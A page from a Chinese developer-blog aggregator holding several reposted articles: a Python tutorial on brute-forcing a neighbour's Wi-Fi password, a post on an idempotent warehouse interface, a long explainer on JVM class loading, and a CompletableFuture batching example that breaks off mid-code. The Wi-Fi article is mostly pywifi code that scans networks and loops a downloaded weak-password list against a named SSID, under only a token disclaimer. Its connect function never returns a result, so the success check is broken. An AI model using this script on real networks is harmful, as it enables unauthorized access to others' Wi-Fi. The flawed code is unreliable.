开发者博客 – IT技术 尽在开发者博客

开发者博客 – 科技是第一生产力


  • 首页

  • 归档

  • 搜索

用 Python 破解老王家的 Wi-Fi 密码,刺激!

发表于 2024-03-03

家里没有怎么办,只要你会Python,办法总比困难多

本文就利用pywifi 这个库实验一下如何破解Wi-Fi 密码,注意,该方法仅可用来研究学习所用,不可以拿去干坏事。

1. pywifi 简介

pywifi是一个Python库,它提供了对无线网络接口的控制,允许你扫描周围的无线网络,以及连接到无线网络。但请注意,这个库并不意味着可以绕过网络安全措施来非法连接网络。

2. 环境配置

在开始之前,你需要确保Python已经安装在你的计算机上,并且安装了pywifi库。你可以使用pip命令来安装pywifi:

1
2
复制代码pip install pywifi
pip install comtypes

3. 扫描周围的Wi-Fi网络

接下来,我们将展示如何使用pywifi来扫描周围的Wi-Fi网络。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
css复制代码from pywifi import PyWiFi, const, Profile
import time

def scan_wifi():
wifi = PyWiFi()
ifaces = wifi.interfaces()[0]
ifaces.scan()
time.sleep(1)
results = ifaces.scan_results()

for network in results:
print(f"SSID: {network.ssid}, 信号强度: {network.signal}")

scan_wifi()

这段代码将列出你周围所有Wi-Fi网络的SSID(网络名称)和信号强度。

image-20240303220759104

4. 连接到Wi-Fi网络

把周围所有的WIFI网络扫出来后就可以逐个的去尝试连接了。

先来封装一个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
scss复制代码pythonCopy codedef connect_wifi(ssid, password):
wifi = PyWiFi()
ifaces = wifi.interfaces()[0]
ifaces.disconnect()
time.sleep(1)
assert ifaces.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

profile = Profile()
profile.ssid = ssid
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = password

ifaces.remove_all_network_profiles()
tmp_profile = ifaces.add_network_profile(profile)

ifaces.connect(tmp_profile)
time.sleep(2)

if ifaces.status() == const.IFACE_CONNECTED:
print("连接成功")
else:
print("连接失败")

connect_wifi('你的网络名称', '你的密码')

这段代码尝试连接到一个指定的Wi-Fi网络。请将'你的网络名称'和'你的密码'替换为实际的网络名称和密码。

注意在代码示例中使用sleep函数主要是为了确保在执行网络操作(如扫描或连接)之间有足够的时间让硬件和操作系统处理这些请求。sleep会暂停当前线程指定的时间(以秒为单位),这在网络编程中尤其有用,因为许多网络操作都不是立即完成的。

然后我们在网上找一个弱口令库,用穷举法进行逐个去尝试,这种方法又称为暴力破解法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
python复制代码def try_pwd():
print("****************** WIFI破解 ******************")
# 密码本路径
path = "pwd.txt"
# 打开文件
file = open(path, "r")
ssid = "TP-LINK_2020"
while True:
try:
pwd = file.readline()
# 去除密码的末尾换行符
pwd = pwd.strip('\n')
bool = connect_wifi("TP-LINK_2020", pwd)
if bool:
print("[*] 密码已破解:", pwd)
print("[*] WiFi已自动连接!!!")
break
else:
# 跳出当前循环,进行下一次循环
print(f"正在破解 SSID 为 {ssid} 的 WIFI密码,当前校验的密码为:{pwd}")
except:
continue

try_pwd()

image-20240303222034444

运气好的情况下,几分钟就破解了,如果密码WI-FI密码设置复杂最长一两天也是可能的,特别是如果是纯数字密码,使用最短的8位数字,最多也就1亿种可能,这对于一台计算机来说不是什么难事,你睡一觉起来就跑完了。 所以,你家的WiFi密码一定不要设置太简单了,最好是多种字符组合,防止被隔壁老王破解了。

完整源代码和穷举弱口令库获取链接: mp.weixin.qq.com/s/iIFIK_GDr…

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

小垃圾写的一个保证幂等性的接口,希望大家看了可以提出意见

发表于 2024-03-03

背景介绍
这个接口的背景是这样的,tms(运输管理系统)会下发出库任务给我们的系统,我们的系统是wms(仓库管理系统),一个调度单会调用一个我们的接口一次。一个调度单里面会有很多的包件,一辆车上会有很多的调度单,一个月台(可以理解为仓库前面的停车装货的地方),一次发货会发几个月台的数据。对面是开启并发来调用我这个接口的,并发量大概一瞬间最高的时候可能会有300左右。

业务流程介绍
首先会把接收到的数据插入到接口表中(接口入参如下),headers中的每条数据都会插入一条数据

image.png

image.png

然后开启异步线程,判断传参中headerDTO承运商(vendorCode)在承运商表是否存在,不存在的话需要插入A库和B库。插入B库的时候时使用db_link,最后把集合headers中的每条数据都插入到发货头表中。

具体代码
把所有的参数校验放在最前面(因为最开始对接口的时候字段和全局返回的字段不一样,这个报错只能自己手写),校验的字段太多,截图没有截全。
image.png

幂等性校验

image.png

我这里是在数据库里面加了调度单Id(departId)的唯一索引。如果有这个这个调度单了直接返回成功。这里我理解,单个插入和批量插入应该都是可以这样做的。各位大佬如果看了觉得有问题可以提醒一下小弟。

然后开启异步线程执行后面的插入承运商和发货计划
插入承运商表,这里因为需要根据每个的订单ID去查订单,然后还要查工厂,为了省事,这里就直接在循环中国写插入的sql。

image.png

插入承运商的时候是调用的一个已经写好的存储过程

image.png

先查询有没有,没有就使用db_link两个数据库都会插入一条数据,这里db_link会非常慢,这里会导致接口超时,这也是我使用异步的原因。

image.png

接下来就是插入接口头表,因为我需要把每条数据插入的失败的原因写入到数据库的接口表中(使用attribute9和10来表示插入是否成功,以及失败的原因,方便到时候人工介入。所以我能想到的就是循环里面写sql去插入。然后通过try catch去驳货插入发货头表失败的原因然后写入到接口表中,表示这条数据插入失败,然后人工介入)

image.png

以上就是所有的流程了。我感觉这样能够满足幂等性,然后还能提高接口的效率。可能还有很多不完善的地方。希望各位比我还新手的人能够得到借鉴,然后能够比我写的好很多,我扪心自问觉得自己写的这个比较垃圾。希望能够得到各位优秀的程序员的指点。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

JVM成神之路(2) 类的加载 前言 一、类的加载概述 二

发表于 2024-03-03

前言

理解完 class 文件之后,那它是存放在磁盘上的,如果要在 JVM 中使用 class 文件,需要将它加载到内存中,本文就来详细的介绍下 class 文件加载到内存的过程。

一、类的加载概述

Java 虚拟机把描述类的数据从 Class 文件加载到内存,并对数据进行校验、转换解析和初始化,最终形成可以被虚拟机直接使用的 Java 类型,这个过程被称为虚拟机的类加载机制。

与那些在编译时需要进行连接的语言不同,在 Java 语言里面,类型的加载、连接和初始化过程都是在程序运行期完成的。这种策略让 Java 语言进行提前编译会面临额外的困难,也会让类加载时稍微增加一些性能开销,但是却为 Java 应用提供了极高的扩展性和灵活性,Java 天生可以动态扩展的语言特性就是依赖运行期动态加载和动态连接这个特点实现的。

一个类型从被加载到虚拟机内存开始,到卸载出内存为止,它的整个生命周期将会经历加载 loading、验证、准备、解析、初始化、使用 和 卸载七个阶段,其中验证、准备、解析三个部分统称为连接。

加载、验证、准备、初始化和卸载这五个阶段的顺序是确定的,类型的加载过程必须按照这种顺序按部就班的开始。

而解析阶段则不一定,它在某些情况下可以在初始化阶段之后再开始,这是为了支持 Java 语言的运行时绑定特定(也称为动态绑定或晚期绑定)。

请注意,这里写的是按部就班的开始,而不是按部就班的进行或按部就班的完成,强调这点是因为这些阶段经常互相交叉的混合进行的,会在一个阶段执行的过程中调用、激活另一个阶段。

二、加载阶段

2.1 加载完成三件事

加载是类加载过程中的第一个阶段,简单来说就是将 Java 类的 class 文件加载到机器内存中,然后在内存中构建出 Java 类的原型,称为 “类模板对象”,所谓类模板对象,其实就是一个 Java 类在 JVM 内存中的一个快照。

JVM 将从 class 文件中解析出来的常量池、类字段、类方法等信息存储在类模板对象中,Java 在运行时可以通过类模板获取 Java 类的任意信息,反射机制就是基于这点完成的。

在加载阶段,Java 虚拟机需要完成以下三件事情:

  • 1、通过一个类的全限定名来获取定义此类的二进制字节流。
+ 获取 class 文件字节流
  • 2、将这个字节流所代表的静态存储结构转化为方法区的数据结构;
+ 说明:class 文件是一个静态的二进制文件,里面存放的是我们类所有的一些常量、结构、字段、方法、属性,这些都是静态存储在 class 文件中的,转化为方法区所需要的运行时的一种数据结构
  • 3、在内存中生成一个代表这个类的 java.lang.class 对象,作为方法区这个类的各种数据的访问入口
+ 生成的对象在堆内存,我们所有的对象的里面的字段,方法的访问入口会在我们的堆里。这个入口,直通方法区。

《Java 虚拟机规范》对这三点要求其实并不是特别具体,留给虚拟机实现与 Java 应用的灵活度都是相当大的。例如 “通过一个类的全限定名来获取定义此类的二进制字节流”这条规则,它并没有指明二进制字节流必须地从某个 Class 文件中获取,确切地说是根本没有指明要从哪里获取,如何获取。

仅仅这一点空隙,Java虚拟机的使用者们就可以在加载阶段搭构建出一个相当开放广阔的舞台,Java发展历程中,充满创造力的开发人员则在这个舞台上玩出了各种花样,许多举足轻重的Java技术都建立在这一基础之上,例如:

  • 从ZIP压缩包中读取,这很常见,最终成为日后JAR、EAR、WAR格式的基础。
  • 从网络中获取,这种场景最典型的应用就是Web Applet。

2.2 类模型与 Class 实例的位置

加载的类在 JVM 中创建相应的类结构,类的数据结构会存储在方法区中

每个类对象都对应一个 Class 类型的对象,用来封装类位于方法区内的数据结构,类对象存储在堆中。

外部可以通过访问堆区的 Class 对象来获取 Order 类的数据结构。这个就是反射的流程,通过 Class 对象作为访问方法区的入口,获取具体的数据结构、方法、字段信息。

2.3 数组类的加载

对于数组类而言,情况就有所不同,数组类本身不通过类加载器创建,它是由Java虚拟机直接在内存中动态构造出来的。但数组类与类加载器仍然有很密切的关系,因为数组类的元素类型(Element Type,指的是数组去掉所有维度的类型)最终还是要靠类加载器来完成加载,一个数组类(下面简称为C)创建过程遵循以下规则:

  • 如果数组的组件类型(Component Type,指的是数组去掉一个维度的类型,注意和前面的元素类型区分开来)是引用类型,那就递归采用本节中定义的加载过程去加载这个组件类型,数组 C 将被标识在加载该组件类型的类加载器的类名称空间上(这点很重要,一个类型必须与类加载器一起确定唯一性)。
  • 如果数组的组件类型不是引用类型(例如 int[] 数组的组件类型为int),Java虚拟机将会把数组C标记为与引导类加载器关联。
  • 数组类的可访问性与它的组件类型的可访问性一致,如果组件类型不是引用类型,它的数组类的可访问性将默认为 public ,可被所有的类和接口访问到。

三、连接阶段

3.1 验证

加载阶段与连接阶段的部分动作(如一部分字节码文件格式验证动作)是交叉进行的,加载阶段尚未完成,连接阶段可能已经开始,但这些夹在加载阶段之中进行的动作,仍然属于连接阶段的一部分,这两个阶段的开始时间仍然保持着固定的先后顺序。

验证是连接阶段的第一步,这一阶段的目的是确保 Class 文件的字节流中包含的信息复合《Java虚拟机规范》的全部约束要求,保证这些信息被当作代码运行后不会危害虚拟机自身的安全。

验证阶段是非常重要的,这个阶段是否严谨,直接决定了 Java 虚拟机是否能承受恶意代码的攻击,从代码量和执行性能的角度上讲,验证阶段的工作量在虚拟机的类加载过程中占了相当大的比重。

从整体上看,验证阶段大致会完成下面四个阶段的校验动作:

  • 文件格式验证
  • 语义检查
  • 字节码验证
  • 符号引用验证

3.1.1 格式检查

第一阶段要验证字节流是否符号 Class 文件格式的规范,并且能被当前版本的虚拟机处理。这一阶段包括下面验证点:

  • 是否以魔数CAFEBABE开头
  • 主、次版本号是否在当前 Java 虚拟机接收范围内
  • 常量池的常量是否有不被支持的常量类型(检查常量tag标志)
  • 指向常量的各种索引值是否有指向不存在的常量或不符合类型的常量。
  • constant_utf8_info 型的常量中是否有被删除或附加的其他信息。
  • Class 文件中各个部分及文件本身是否有被删除的或附加的其他信息。

实际上第一阶段的验证点还远不止这些,上面所列的只是从HotSpot虚拟机源码中摘抄的一小部分内容,该验证阶段的主要目的是保证输入的字节流能正确地解析并存储于方法区之内,格式上符合描述一个Java类型信息的要求。这阶段的验证是基于二进制字节流进行的,只有通过了这个阶段的验证之后,这段字节流才被允许进入Java虚拟机内存的方法区中进行存储,所以后面的三个验证阶段全部是基于方法区的存储结构上进行的,不会再直接读取、操作字节流了。

3.1.2 语义检查

第二阶段是对字节码描述的信息进行语义分析,以保证其描述的信息符合《Java语言规范》的要求,这个阶段可能包括的验证点如下:

  • 这个类是否有父类(除了java.lang.Object之外,所有的类都应当有父类)。
  • 这个类的父类是否继承了不允许被继承的类(被final修饰的类)。
  • 如果这个类不是抽象类,是否实现了其父类或接口之中要求实现的所有方法。
  • 类中的字段、方法是否与父类产生矛盾(例如覆盖了父类的final字段,或者出现不符合规则的方法重载,例如方法参数都一致,但返回值类型却不同等)。
  • ……

第二阶段的主要目的是对类的元数据信息进行语义校验,保证不存在与《Java语言规范》定义相悖的元数据信息。

3.1.3 字节码验证

第三阶段,是整个验证过程中最复杂的,主要目的是通过分析字节码,判断字节码能否被正确执行,不会做出对虚拟机危害动作。

比如 JVM 会验证字节码如下内容:

  • 1、在字节码的执行过程中,是否会跳转到一条不存在的指令
  • 2、函数的调用是否传递了正确类型的参数
  • 3、变量的赋值是不是给了正确的数据类型等
  • 4、保证任意时刻操作数栈的数据类型与指令代码序列都能配合工作,例如不会出现类似于在操作数栈放置了一个 int 类型的数据,使用时却按 long 类型来加载入本地变量表中这样的情况。

如果一个类型中有方法体的字节码没有通过字节码验证,那它肯定是有问题的;

但如果一个方法体通过了字节码验证,也仍然不能保证它一定是安全的。即使字节码验证阶段进行了大量、再严密的检查,也依然不能保证这一点。

3.1.4 符号引用验证

最后一个阶段的校验行为发生在虚拟机将符号引用转化为直接引用的时候,这个转化动作将在连接的第三阶段——解析阶段中发生。

符号引用验证可以看作是对类自身以外(常量池中的各种符号引用)的各类信息进行匹配性校验,通俗来说就是,该类是否缺少或者被禁止访问它依赖的某些外部类、方法、字段等资源。本阶段通常需要校验下列内容:

  • 符号引用中通过字符串描述的全限定名是否能找到对应的类。
  • 在指定类中是否存在符合方法的字段描述符及简单名称所描述的方法和字段。
  • 符号引用中的类、字段、方法的可访问性(private、protected、public、)是否可被当前类访问。

符号引用验证的主要目的是确保解析行为能正常执行,如果无法通过符号引用验证,

Java 虚拟机将会抛出一个 java.lang.IncompatibleClassChangeError 的子类异常,典型的如:

  • java.lang.IllegalAccessError
  • java.lang.NoSuchFieldError
  • java.lang.NoSuchMethodError等。

验证阶段对于虚拟机的类加载机制来说,是一个非常重要的、但却不是必须要执行的阶段,因为验证阶段只有通过或者不通过的差别,只要通过了验证,其后就对程序运行期没有任何影响了。如果程序运行的全部代码(包括自己编写的、第三方包中的、从外部加载的、动态生成的等所有代码)都已经被反复使用和验证过,在生产环境的实施阶段就可以考虑使用-Xverify:none参数来关闭大部分的类验证措施,以缩短虚拟机类加载的时间。

3.2 准备

准备阶段是正式为类中定义的变量(静态变量,被static修饰的变量)分配内存并设置类变量初始值的阶段,从概念上来讲,这些变量所使用的内存都应当在方法区中进行分配,但必须注意到方法区本身是一个逻辑上的区域,在JDK7及之前,HotSpot 使用永久代来实现方法区时,实现是完全符合这种逻辑概念的;

而在JDK8及之后,类变量则会随着 Class 对象一起存放 Java 堆中,这时候 “类变量在方法区” 就完全是一种对逻辑概念的表述了。

关于准备阶段,还有两个容易产生混淆的概念笔者需要着重强调,

  • 首先是这时候进行内存分配的仅包括类变量,而不包括实例变量,实例变量将会在对象实例化时随着对象一起分配在 Java 堆中。
  • 其次是这里所说的初始值 “通常情况” 下是数据类型的零值,假设一个类变量的定义为:

Public static int value = 123;

那变量 value 在准备阶段过后的初始值为 0 而不是 123 ,因为这时尚未开始执行任何 Java 方法,而把 value 赋值为 123 的 putstatic 指令是程序被编译后,存放于类构造器() 方法之中,所以把 value 赋值为 123 的动作要到类的初始化阶段才会被执行。

  • 最后就是特殊情况,如果类字段被 final 修饰,那么类阻断的属性表中存在 ConstantValue 属性,那在准备阶段变量值就会被初始化为ConstantValue 属性所指定的初始值,假设上面类变量 value 的定义修改为 123 ,而不是 “零值”
+ > Public static final int value = 123

3.3 解析

解析阶段是 Java 虚拟机将常量池内的符号引用替换为直接引用的过程。

符号引用就是例如 CONSTANT_Class_info 等类型的常量出现,那解析阶段中所说的直接引用与符号引用又有什么关联呢?

  • 符号引用(Symbolic References):符号引用以一组符号来描述所引用的目标,符号可以是任何形式的字面量,只要使用时能无歧义地定位到目标即可
  • 直接引用(Direct References):直接引用是可以直接指向目标的指针、相对偏移量或者是一个能间接定位到目标的句柄。直接引用是和虚拟机实现的内存布局直接相关的,同一个符号引用在不同虚拟机实例上翻译出来的直接引用一般不会相同。如果有了直接引用,那引用的目标必定已经在虚拟机的内存中存在。

四、初始化阶段

类的初始化是类加载过程的最后一个步骤,Java 虚拟机才真正执行类中编写的 Java 程序代码。

进行准备阶段时,类变量已经赋值过一次初始零值,而在初始化阶段,则会初始化类变量和其他资源。

初始化过程就是执行类构造器() 方法的过程。

  • Clinit 方法是由编译器自动收集类中的所有类变量的赋值动作和静态语句块中的语句合并产生的,父类的static 语句优先级高于子类
  • Clinit 方法对于类或接口来说并不是必需的,如果一个类中没有静态语句块,也没有对变量赋值,就不会生成clinit方法
  • Java虚拟机必须保证一个类的()方法在多线程环境中被正确地加锁同步,如果多个线程同时去初始化一个类,那么只会有其中一个线程去执行这个类的()方法,其他线程都需要阻塞等待,直到活动线程执行完毕()方法。

Jvm 规定了六种情况必须对类进行初始化

  • 1、遇到 new、getstatic、putstatic、invokestatic 的字节码指令;
  • 2、使用反射调用的时候,要进行初始化;
  • 3、初始化类的时候,如果父类没有初始化,先触发父类初始化
  • 4、JVM启动时,用户需要指定一个要执行的主类[包含main()方法的那个类],JVM会先初始化这个主类。这个类在调用main()方法之前被链接和初始化,main()方法的执行将依次加载,链接和初始化后面需要使用到的类。
  • 5、初次创建MethodHandle实例时,初始化该MethodHandle实例时指向的方法所在的类,即涉及解析REF_getStatic、REF_putStatic、REF_invokeStatic方法句柄对应的类的初始化。
  • 6、当一个接口中定义了 JDK8 新加入的默认方法(default) ,那么实现该接口的类需要提前初始化

4.1 案例1

打印结果想想应该是啥呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
csharp复制代码public class SuperClass {

public static void main(String[] args) {
System.out.println(Child.value);
}
}

class Parent{
static {
System.out.println("parent init");
}
public static int value =123;
}
class Child extends Parent {
static {
System.out.println("child init");
}
}

结果如下:

1
2
csharp复制代码parent init
123

因为,我们使用的 value 这个 static 属性属于 parent 类,如果要调用 value,就要初始化 parent 类。

4.2 案例2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
csharp复制代码public class SuperClass {

public static void main(String[] args) {
Parent[] parents = new Parent[2];
}
}

class Parent{
static {
System.out.println("parent init");
}
public static int value =123;
}
class Child extends Parent {
static {
System.out.println("child init");
}
}

此时不打印结果,即使有 new 关键字,但是我们需要的是 new 的字节码指令,而 new Parent[2] ,对应的字节码指令是 newarray,所以不会初始化。

4.3 案例3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
csharp复制代码public class SuperClass {

public static void main(String[] args) {
System.out.println(Child.value2);
}
}

class Parent{
static {
System.out.println("parent init");
}
public static int value =123;
public static final int value2 =456;
}
class Child extends Parent {
static {
System.out.println("child init");
}
}

打印结果为 456, 还是没有触发 parent 的初始化,这是因为 final 在 编译器编译的时候提前存储到 ConstantValue 这个变量中,所以就不会进行初始化了。

五、类加载器

类加载器(ClassLoader)是 Java 虚拟机提供给应用程序去实现获取类和接口字节码数据的技术。

类加载器只参与加载过程中的字节码获取并加载到内存这一部分,至于 class 文件能否运行,则是由执行引擎决定的。

5.1 分类

类加载器分为两类,一类是 Java 代码中实现,一类是 Java 虚拟机底层源码实现。

虚拟机底层实现:

  • 源代码位于 Java 虚拟机的源码,实现语言与虚拟机底层语言一致,比如 Hotspot 使用 C++
  • 保证程序运行时的基础类,保证 Java 程序基础类被正确的架子啊

Java 代码:

  • 自定义类加载器实现,所有的 Java 类实现都需要继承 ClassLoader 这个抽象类

5.1.1 启动类加载器

  • 启动类加载器(Bootstrap ClassLoader)是由 Hotspot 虚拟机提供的、使用 C++ 编写的类加载器。
  • 用来加载 java 核心库,默认加载 Java 安装目录 /jre/lib 下的类文件,比如 rt.jar,tools.jar,resources.jar等。

可以通过启动类加载器去加载用户 jar 包

  • 将 jar 包放入 jre/lib 进行扩展(不推荐):即使放进去,也会出现文件名不匹配的问题而不会正常加载
  • 使用参数进行扩展(推荐):使用 -Xbootclasspath/a.jar包目录/jar包名 进行扩展

5.1.2 默认加载器

  • 扩展类加载器和应用程序类加载器都是 JDK 中提供的,使用 Java 编写的类加载器。
  • 它们的源码都位于sun.misc.Launcher中,是一个静态内部类。继承自URLClassLoader。具备通过目录或者指定jar包将字节码文件加载到内存中。

扩展类加载器主要负责从java.ext.dirs系统属性所指定的目录或者JDK的安装目录的jre/lib/ext子目录下加载类库。如果用户创建的类放在上述目录下,也会自动由扩展类加载器加载。简言之扩展类加载器主要负责加载Java的扩展库。

应用程序类加载器:它负责加载用户类路径(ClassPath)上所有的类库,开发者同样可以直接在代码中使用这个类加载器。一般情况下这个就是程序默认的类加载器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
csharp复制代码public class ClassLoaderTest1 {

public static void main(String[] args) {
// 启动类加载器
ClassLoader classLoader = Object.class.getClassLoader();
// 扩展类加载器
ClassLoader classLoader1 = EventID.class.getClassLoader();
// 应用类加载器
ClassLoader classLoader2 = ClassLoaderTest1.class.getClassLoader();
System.out.println(classLoader);
System.out.println(classLoader1);
System.out.println(classLoader2);
}
}
==================打印结果 ==============
null
sun.misc.Launcher$ExtClassLoader@2437c6dc
sun.misc.Launcher$AppClassLoader@18b4aac2

需要注意的是,启动类加载器结果是null,原因是启动类加载器是 C++语言编写,并不是一个 Java 对象,所以这里用null 展示。

5.1.3 自定义加载器

在 Java 的日常程序开发中,类的加载几乎是前面讲解的3种类加载器相互配合执行的。必要时,还可以自定义类加载器来定制类的加载方式。

自定义类加载器的好处:

  • 插件机制:类加载器对应用程序提供了一种动态增加新功能的机制,这种机制无需重写打包发布应用程序就能实现
  • 隔离加载类:比如 tomcat 内部自定义了好几种类加载器,隔离不同应用同程序,互不干扰
  • 修改类加载的方式:比如可以对 class 文件加密后,再自定义一个类加载器进行解密加载到 jvm
  • 扩展加载源:加载源头可能是db二进制文件、zip文件,加载的文件类型不同,就可以使用不同的类加载器

Java 提供了抽象类 java.lang.ClassLoader, 所有用户自定义的类加载器都应该继承 ClassLoader 类。

在自定义 ClassLoader 子类的时候,常见的两种方式,要么重写 loadClass 方法,或者重写 findClass 方法(推荐)。

注意:不要直接修改 loadClass 方法,最好在双亲委派模型逻辑框架内进行小范围的改动,因此修改 findclass 方法

5.2 双亲委派模型

如果一个类加载器在接到加载类的请求时,它首先不会自己尝试去加载这个类,而是把这个请求任务委托给父类加载器去完成,依次递归,如果父类加载器可以完成类加载任务,就成功返回。只有父类加载器无法完成此加载任务时,才自己去加载。

5.2.1 作用

1、保证类加载的安全性;(通过双亲委派机制避免恶意代码替换JDK的核心类库,比如Java.lang)

2、避免重复加载;(双亲委派机制可以避免同一个类被多次加载)

5.2.2 核心源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
java复制代码public abstract class ClassLoader {
// 委派的父类加载器
private final ClassLoader parent;

public Class<?> loadClass(String name) throws ClassNotFoundException {
return loadClass(name, false);
}


protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
// 保证该类只加载一次
synchronized (getClassLoadingLock(name)) {
// 首先,检查该类是否被加载
Class<?> c = findLoadedClass(name);
if (c == null) {
try {
if (parent != null) {
//父类加载器不为空,则用该父类加载器
c = parent.loadClass(name, false);
} else {
//若父类加载器为空,则使用启动类加载器作为父类加载器
c = findBootstrapClassOrNull(name);
}
} catch (ClassNotFoundException e) {
//若父类加载器抛出ClassNotFoundException ,
//则说明父类加载器无法完成加载请求
}

if (c == null) {
//父类加载器无法完成加载请求时
//调用自身的findClass()方法进行类加载
c = findClass(name);
}
}
if (resolve) {
resolveClass(c);
}
return c;
}
}

protected Class<?> findClass(String name) throws ClassNotFoundException {
throw new ClassNotFoundException(name);
}
}

代码的主要步骤如下:

  • 1、先检查类是否已经被加载过
  • 2、若没有加载,则调用父加载器的 loadClass() 方法进行加载
  • 3、若父加载器为空,则默认使用启动类加载器作为父加载器;
  • 4、如果父类加载失败,抛出 ClassNotFoundException 异常后,再调用自己的 findClass()方法进行加载

5.2.3 打破双亲委派

双亲委派模型并不是一个具有强制性约束的模型,而是Java设计者推荐给开发者的类加载器实现方式。在Java的世界中大部分的类加载器都遵循这个模型,但也有例外的情况,如下所示,注意破坏双亲委派模型并不一定就是一件坏事,如果有特殊需求,完全可以主动破坏双亲委派模型。

a、自定义类加载器

  • 自定义类加载器并且重写 loadClass 方法,就可以将双亲委派机制的代码去除
  • Tomcat 通过这种方式实现应用之间类隔离,每个应用都会有一个独立的类加载器加载对应的类

b、线程上下文加载器

双亲委派模型有一定的局限性,父类加载器无法访问子类加载器路径的类。

双亲委派模型最典型的不适用场景就是 SPI 的使用,所以提供一种线程上下文类加载器,能够使父类加载器调用子类加载器去加载。

问题:DriverManager 使用 SPI 机制,最终加载 jar 包中对应的驱动类?

答:SPI 中使用了线程上下文中保存的类加载器进行类的加载,这个类加载器一般是应用程序类加载器。

1
ini复制代码ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();

SPI 机制:

  • SPI 全称为(Service Provider Interface),是JDK内置的一种服务提供发现机制。
  • SPI 的工作原理:
+ 1、在 ClassPath 路径下的 META-INF/services文件夹中,以接口的全限定名来命名文件名,对应的文件里面写该接口的实现。
+ ![](https://gitee.com/songjianzaina/juejin_p4/raw/master/img/5d8b8c9c3af00534c393d06503e42d4906dc37413e9c7f467cd41aa1fd63aba0)
+ 2、使用ServiceLoader加载实现类;
+ 3、SPI 中利用了线程上下文类加载器(应用程序类加载器)去加载类并创建对象。

思考:JDBC 案例真的打破了双亲委派机制吗?

1、打破了双亲委派机制:

  • 这种由启动类加载器加载的类,委派应用程序类加载器去加载类的方式,打破了双亲委派机制。

2、没有打破双亲委派机制:

  • JDBC 只是在 DriverManager 加载完之后,通过初始化阶段触发了驱动类的加载,类的加载依然遵循双亲委派机制,打破双亲委派机制的唯一方法就是重写 ClassLoad 方法。

小结

本文主要介绍了 JVM 将 class 文件加载到内存中经历的过程,这个过程可分为加载、链接和初始化三步骤。

  • 加载阶段主要负责根据二进制数据创建类模板对象
  • 链接分为验证、准备、解析
  • 初始化为类变量赋值,执行 clinit 方法。

然后介绍加载过程用到的类加载器,以及双亲委派模型。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

CompletableFuture实现并发处理任务+汇总结果

发表于 2024-03-02

CompletableFuture是一个非常好用的并发任务处理工具,本篇文章将介绍由此工具实现并发处理任务,并汇总结果批量保存DB,以此带来效率上的提升。

1 背景介绍

我们通常在项目中都会涉及到接收多天的原始数据,然后生成每天的数据报告,保存到DB。如果是循环每天数据顺序的执行生成每天报告保存DB,会有下面的问题:

  • 整个流程变成了串行,耗时较长
  • 写入DB的操作也是一条一条数据写入,没有批量写入效率高
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
java复制代码/**
* 测试顺序串行生成报告,汇总批量保存DB
*/
@Test
public void testSequence() {
long start = System.currentTimeMillis();
// 模拟每天的数据
List<String> days = new ArrayList<>();
days.add("2024-03-01");
days.add("2024-03-02");
days.add("2024-03-03");

// 循环每天的数据,生成每天报告
List<DayReport> reportList = new ArrayList<>();
for(String day: days) {
DayReport result = generateDayReportTask(day);
reportList.add(result);
}

// 汇总的报告list,批量保存到DB,提高写入的性能
insertBatch(reportList);
long execTime = System.currentTimeMillis() - start;
log.info("执行耗时:{} ms", execTime);
}

耗时:743ms
image.png

如果是直接把生成报告的任务提交到线程池处理,主线程需要借助countDownLatch并发工具类等待线程池里面的任务执行完毕之后执行insertBatch(reportList)操作,代码实现上稍显复杂,同时还需考虑多个线程保存任务结果到reportList等线程安全问题。

所以针对上面的问题,引入CompletableFuture工具,实现并发处理任务,并汇总结果批量保存DB,以此带来效率上的提升。同时使用更加简单而且也不存在线程安全问题。

2 并发处理+汇总批量保存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
java复制代码/**
* @ClassName CompletableFutureTest
* @Description
* @Author
**/
@RunWith(SpringRunner.class)
@SpringBootTest
@Slf4j
public class CompletableFutureTest {


@Autowired
@Qualifier("SummaryReportTask")
ThreadPoolExecutor summaryReportTask;

@Data
private class DayReport{
/**
* 报告id
*/
private Long reportId;

/**
* 每天的日期
*/
private String day;

/**
* 是否执行异常
*/
private Boolean ex = false;

/**
* 走路的步数
*/
private int stepCount;

public DayReport(Long reportId, String day, int stepCount) {
this.reportId = reportId;
this.day = day;
this.stepCount = stepCount;
}

public DayReport(String day, Boolean ex) {
this.day = day;
this.ex = ex;
}
}

/**
* 生成每天报告
* @param day
* @return
*/
private DayReport generateDayReportTask(String day) {
log.info("模拟生成{}的报告...", day);
try {
Thread.sleep(200);
} catch (InterruptedException e) {
e.printStackTrace();
}
// 报告id
Long reportId = Long.parseLong(day.replace("-", ""));
// 每天行走的步数
int stepCount = RandomUtil.randomInt(1, 100);
return new DayReport(reportId, day, stepCount);
}

/**
* 处理任务执行产生的异常
* @param e
* @param day
* @return
*/
